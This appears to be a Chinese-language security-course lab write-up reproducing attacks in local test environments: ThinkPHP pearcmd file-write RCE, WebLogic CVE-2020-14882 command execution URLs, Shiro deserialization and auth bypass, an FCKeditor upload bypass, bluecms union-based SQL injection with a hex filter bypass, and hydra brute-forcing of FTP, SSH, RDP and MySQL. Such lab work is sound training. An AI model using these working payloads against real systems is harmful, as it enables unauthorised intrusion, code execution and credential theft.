1、RCE:分别实现ThinkPHP、Weblogic、Shiro漏洞的利用过程>
ThinkPHP:
环境搭建
前端测试是否存在pearcmd,访问路径,存在的话报错就确认存在
在根目录下创建magedu3.php这个文件,文件内容为<?=phpinfo()?>
,10.0.0.150:8080/public/?lang=../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<? =phpinfo()?>+/var/www/html/magedu3.php
写入成功后,直接访问php文件,成功解析
Weblogic:
启动Weblogic漏洞(CVE-2020-14882)环境
启动完成后,访问 http://10.0.0.150:7001/console 可查看到后台登录页面
这里利用CVE-2020-14882漏洞,访问以下URL,可未授权访问到管理后台页面
方式一:
构造一个恶意的XML文件,并将其保存在Weblogic可以访问到的服务器上(dvwa靶场)
访问http://10.0.0.150:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.su pport.FileSystemXmlApplicationContext("http://10.0.0.150:8080/hackable/uploads/rce.xml")
,即可让Weblogic加载该恶意XML文件,并执行其中的命令
进入容器,可以发现 touch /tmp/magedu1 已成功执行
方式二:
直接访问http://10.0.0.150:7001/console/images/%252e%252e%252fconsole.portal? _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java .lang.Runtime.getRuntime().exec('touch%20/tmp/magedu2');")
进入容器,可以发现 touch /tmp/magedu2 已成功执行
Shiro:
Shiro反序列化漏洞(CVE-2016-4437):
启动环境
工具一:ShiroExploit.V2.51
目标站点存在漏洞,Shiro的默认密钥、利用链等都被显示出来
检测到漏洞以后,就可以在输入框输入命令,实现RCE
工具二:shiro_attack_2.2
使用 shiro_attack2.2 爆破Shiro密钥检测漏洞
实现远程命令执行
实现内存马:
打开冰蝎
通过内存马getshell
Shiro权限绕过漏洞(CVE-2020-1957):
环境搭建
直接请求管理页面 /admin/,无法访问,将会被重定向到登录页面。构造恶意请求 /xxx/..;/admin/,即可绕过权限校验,访问到管理页面
2、FCKeditor编辑器漏洞实验;
首先搭建环境:Windows10+phpstudy_64(php 5.4.45)
根目录放入源码
搭建好环境后开始挖掘:
目录扫描发现目标网站存在FCKeditor
查看版本,判断出该FCKeditor编辑器版本为:2.4.3
利用示例页面进行上传,点击插入/编辑图像,点击链接,Browse Server
会出现FCK上传页面
访问链接http://192.168.2.115/fckeditor/editor/filemanager/browser/default/browser.html? Connector=connectors/php/connector.php
发现存在报错
访问C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\connectors\php\config.php
,修改配置如下并保存:
上传路径:C:\phpstudy_pro\WWW\FCKeditor\editor\filemanager\browser\default\images
再次访问链接,可以正常访问
上传PHP文件,抓包,修改php后缀,增加空格
上传成功
根据前面的配置文件可以构造出路径:http://192.168.2.115/FCKeditor\editor\filemanager\browser\default\images\file/info.php
3、bluecms旁注漏洞,并解释为什么旁站攻击可以拿下主站?跨库的意思是什么?
搭建环境:
将bluecms源码放入phpstudy网站目录中
之后访问 bluecms/uploads/install/ 进行安装
返回空白安装成功
开始攻击:
访问http://192.168.2.115/bluecms/uploads/可以看到登录主页面
通过猜测发现旁站后台,访问http://192.168.2.115/bluecms/uploads/admin
使用账号密码(admin/123456)进行登录,获取旁站后台管理员权限
添加广告后,发现“获取JS”的功能
对该功能点进行注入测试
通过order by来判断sql语句查了多少列,order by 8报错,证明sql语句查了7列
注入出数据库名为bluecms
注入出数据用户名为root@localhost
注入出当前库所有的表名view-source:http://192.168.2.115/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
继续注入blue_user表中的字段名,发现报错,存在过滤,单引号前面出现 \ 证明单引号被转义,使用16进制进行绕过
view-source:http://192.168.2.115/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f75736572
继续注入bluecms库中blue_user表的user_name和pwd字段内容
view-source:http://192.168.2.115/bluecms/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,concat(user_name,pwd) from blue_user
解码密码为123456
旁站与跨库:
在同一服务器中有A,B两个站点。A为主站比较难打,就可以通过信息收集拿到站点B,站点B的防护没有站点A的安全,此时就可以攻打旁站B,从而拿下站点B的数据库,
利用SQL注入漏洞拿下整个服务器,自然也就拿下了主站A。跨库的意思就是通过拿下了站点B的数据库以后,以数据库B为跳板去查询数据库A的内容。
4、暴力猜解:hydra实现对ftp、ssh、rdp、mysql的暴力破解。
ftp:
设置账号为 ftp/666 并启动ftp服务
使用hydra暴力破解ftp服务
利用该密码成功登录ftp服务器 ftp://192.168.2.115/
ssh:
使用hydra暴力破解ssh服务,首先在Windows系统中安装openssh
安装完成后,看到C盘目录下已经存在OpenSSH文件夹,接下来配置环境变量
配置完成后,在命令行输入ssh,出现下图即安装成功
默认安装openssh,账号密码默认是当前系统用户的微软账号和密码
(微软账号没有设置密码)所以没有爆出
rdp:
使用hydra暴力破解rdp服务,虚拟机win10开启远程桌面
因为微软账号没有设置密码,所以没有爆出
mysql:
使用hydra暴力破解Mysql服务,win10系统中启动MySQL服务,查看账号密码
安装数据库管理工具
设置MySQL允许远程连接:选中grant all privileges on *.* to root@'%' identified by 'root';
语句,点击右键选择运行
破解出192.168.2.115的mysql的账号密码为:root/root